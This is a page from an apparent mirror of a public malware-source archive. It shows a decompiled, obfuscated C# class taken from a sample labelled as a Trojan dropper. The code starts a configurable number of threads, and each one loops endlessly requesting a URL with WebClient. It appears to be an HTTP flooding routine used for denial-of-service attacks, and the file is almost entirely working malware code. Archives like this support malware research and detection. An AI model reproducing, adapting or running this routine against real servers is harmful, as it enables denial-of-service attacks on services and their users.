mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
91 lines
2.3 KiB
C#
91 lines
2.3 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: .
|
|||
|
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe
|
|||
|
|
|||
|
using \u0001;
|
|||
|
using \u000E;
|
|||
|
using System;
|
|||
|
using System.Net;
|
|||
|
using System.Runtime.InteropServices;
|
|||
|
using System.Threading;
|
|||
|
|
|||
|
namespace \u000E
|
|||
|
{
|
|||
|
internal sealed class \u0002
|
|||
|
{
|
|||
|
[NonSerialized]
|
|||
|
internal static \u0002 \u0001;
|
|||
|
private static ThreadStart[] \u0001;
|
|||
|
private static Thread[] \u0001;
|
|||
|
public static string \u0001;
|
|||
|
private static \u0002.\u0001[] \u0001;
|
|||
|
public static int \u0001;
|
|||
|
public static int \u0002;
|
|||
|
public static bool \u0001;
|
|||
|
|
|||
|
public static void \u000F()
|
|||
|
{
|
|||
|
\u0002.\u0001 = new Thread[\u0002.\u0001];
|
|||
|
\u0002.\u0001 = new ThreadStart[\u0002.\u0001];
|
|||
|
\u0002.\u0001 = new \u0002.\u0001[\u0002.\u0001];
|
|||
|
if (!\u0002.\u0001.StartsWith(\u0002.\u0001(3036)))
|
|||
|
\u0002.\u0001 = \u0002.\u0001(3036) + \u0002.\u0001;
|
|||
|
for (int index = 0; index < \u0002.\u0001; ++index)
|
|||
|
{
|
|||
|
\u0002.\u0001[index] = new \u0002.\u0001(\u0002.\u0001);
|
|||
|
\u0002.\u0001[index] = new ThreadStart(\u0002.\u0001[index].\u000F);
|
|||
|
\u0002.\u0001[index] = new Thread(\u0002.\u0001[index]);
|
|||
|
\u0002.\u0001[index].Start();
|
|||
|
}
|
|||
|
\u0002.\u0001 = true;
|
|||
|
}
|
|||
|
|
|||
|
public static void \u0010()
|
|||
|
{
|
|||
|
for (int index = 0; index < \u0002.\u0001; ++index)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
\u0002.\u0001[index].Abort();
|
|||
|
\u0002.\u0001[index].Join();
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
\u0002.\u0001 = false;
|
|||
|
}
|
|||
|
}
|
|||
|
\u0002.\u0001 = false;
|
|||
|
}
|
|||
|
|
|||
|
static \u0002()
|
|||
|
{
|
|||
|
\u0003.\u000F();
|
|||
|
\u0002.\u0001 = false;
|
|||
|
}
|
|||
|
|
|||
|
private sealed class \u0001
|
|||
|
{
|
|||
|
private string \u0001;
|
|||
|
private WebClient \u0001 = new WebClient();
|
|||
|
|
|||
|
public \u0001([In] string obj0) => this.\u0001 = obj0;
|
|||
|
|
|||
|
public void \u000F()
|
|||
|
{
|
|||
|
while (true)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
this.\u0001.DownloadString(this.\u0001);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|